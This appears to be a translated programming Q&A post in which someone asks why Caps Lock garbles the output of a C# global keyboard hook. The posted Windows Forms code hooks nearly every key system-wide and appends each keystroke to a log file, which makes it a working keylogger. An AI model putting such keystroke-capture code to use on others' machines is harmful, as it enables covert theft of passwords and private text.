c# KeyEventArgs给出错误的输出时，caps

当窗口失焦时，我使用全局键盘钩子作为键盘侦听器。我写了一半的代码，我意识到，不管出于什么原因，把大写锁定在改变KeyEventArgs的输出。使用移位/不移位输出普通的结果，但如果我把大写锁定，A将变成U, B将变成V, C将变成W，等等。下面是执行此操作的代码(必要时将添加全局键盘钩子):

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using Utilities;
namespace WindowsFormsApplication1
{
public partial class Form6 : Form
{
    globalKeyboardHook gkh = new globalKeyboardHook();
    int sign_Indicator = 0;
    double variable1;
    double variable2;
    int addBit = 0;
    int subBit = 0;
    int multBit = 0;
    int divBit = 0;
    int modBit = 0;
    Boolean fl = false;
    String s, x;
    public Form6()
    {
        InitializeComponent();
    }
    private void Form6_Load(object sender, EventArgs e)
    {
        gkh.HookedKeys.Add(Keys.A);
        gkh.HookedKeys.Add(Keys.B);
        gkh.HookedKeys.Add(Keys.C);
        gkh.HookedKeys.Add(Keys.D);
        gkh.HookedKeys.Add(Keys.E);
        gkh.HookedKeys.Add(Keys.F);
        gkh.HookedKeys.Add(Keys.G);
        gkh.HookedKeys.Add(Keys.H);
        gkh.HookedKeys.Add(Keys.I);
        gkh.HookedKeys.Add(Keys.J);
        gkh.HookedKeys.Add(Keys.K);
        gkh.HookedKeys.Add(Keys.L);
        gkh.HookedKeys.Add(Keys.M);
        gkh.HookedKeys.Add(Keys.N);
        gkh.HookedKeys.Add(Keys.O);
        gkh.HookedKeys.Add(Keys.P);
        gkh.HookedKeys.Add(Keys.Q);
        gkh.HookedKeys.Add(Keys.R);
        gkh.HookedKeys.Add(Keys.S);
        gkh.HookedKeys.Add(Keys.T);
        gkh.HookedKeys.Add(Keys.U);
        gkh.HookedKeys.Add(Keys.V);
        gkh.HookedKeys.Add(Keys.W);
        gkh.HookedKeys.Add(Keys.X);
        gkh.HookedKeys.Add(Keys.Y);
        gkh.HookedKeys.Add(Keys.Z);
        gkh.HookedKeys.Add(Keys.D1);
        gkh.HookedKeys.Add(Keys.D2);
        gkh.HookedKeys.Add(Keys.D3);
        gkh.HookedKeys.Add(Keys.D4);
        gkh.HookedKeys.Add(Keys.D5);
        gkh.HookedKeys.Add(Keys.D6);
        gkh.HookedKeys.Add(Keys.D7);
        gkh.HookedKeys.Add(Keys.D8);
        gkh.HookedKeys.Add(Keys.D9);
        gkh.HookedKeys.Add(Keys.D0);
        gkh.HookedKeys.Add(Keys.Return);
        gkh.HookedKeys.Add(Keys.Shift);
        gkh.HookedKeys.Add(Keys.CapsLock);
        gkh.HookedKeys.Add(Keys.Back);
        gkh.HookedKeys.Add(Keys.Escape);
        gkh.HookedKeys.Add(Keys.Space);
        gkh.HookedKeys.Add(Keys.OemPeriod);
        gkh.HookedKeys.Add(Keys.Oemcomma);
        gkh.HookedKeys.Add(Keys.OemMinus);
        gkh.HookedKeys.Add(Keys.Oemplus);
        gkh.HookedKeys.Add(Keys.OemPipe);
        gkh.HookedKeys.Add(Keys.OemBackslash);
        gkh.HookedKeys.Add(Keys.OemOpenBrackets);
        gkh.HookedKeys.Add(Keys.OemCloseBrackets);
        gkh.HookedKeys.Add(Keys.OemQuotes);
        gkh.HookedKeys.Add(Keys.OemSemicolon);
        gkh.HookedKeys.Add(Keys.Oemtilde);
        gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
    }
    public static string location = "C:''Users''Hayden''Desktop''log.txt";
    void gkh_KeyDown(object sender, KeyEventArgs e)
    {
        if (e.Modifiers == Keys.Shift)
        {
            if (e.KeyCode == Keys.OemPipe)
            {
                System.IO.File.AppendAllText(@location, "|");
            }
            else
            {
                System.IO.File.AppendAllText(@location, e.KeyCode.ToString());
            }
        }
        else
        {
            if (e.KeyCode == Keys.Return)
            {
                System.IO.File.AppendAllText(@location, "[RETURN]");
            }
            else if (e.KeyCode == Keys.Back)
            {
                System.IO.File.AppendAllText(@location, "[BACKSPACE]");
            }
            else if (e.KeyCode == Keys.Space)
            {
                System.IO.File.AppendAllText(@location, " ");
            }
            else if (e.KeyCode == Keys.OemPeriod)
            {
                System.IO.File.AppendAllText(@location, ".");
            }
            else if (e.KeyCode == Keys.Oemcomma)
            {
                System.IO.File.AppendAllText(@location, ",");
            }
            else if (e.KeyCode == Keys.OemPipe)
            {
                System.IO.File.AppendAllText(@location, "''");
            }
            else if (e.KeyCode == Keys.CapsLock)
            {
                System.IO.File.AppendAllText(@location, "");
            }
            else if (Control.IsKeyLocked(Keys.CapsLock))
            {
                System.IO.File.AppendAllText(@location, e.KeyCode.ToString());
            }
            else
            {
                System.IO.File.AppendAllText(@location, e.KeyCode.ToString().ToLower());
            }
        }
    }

我该如何解决这个问题?我不知道为什么它完全改变了字母，就因为我加了大写锁定。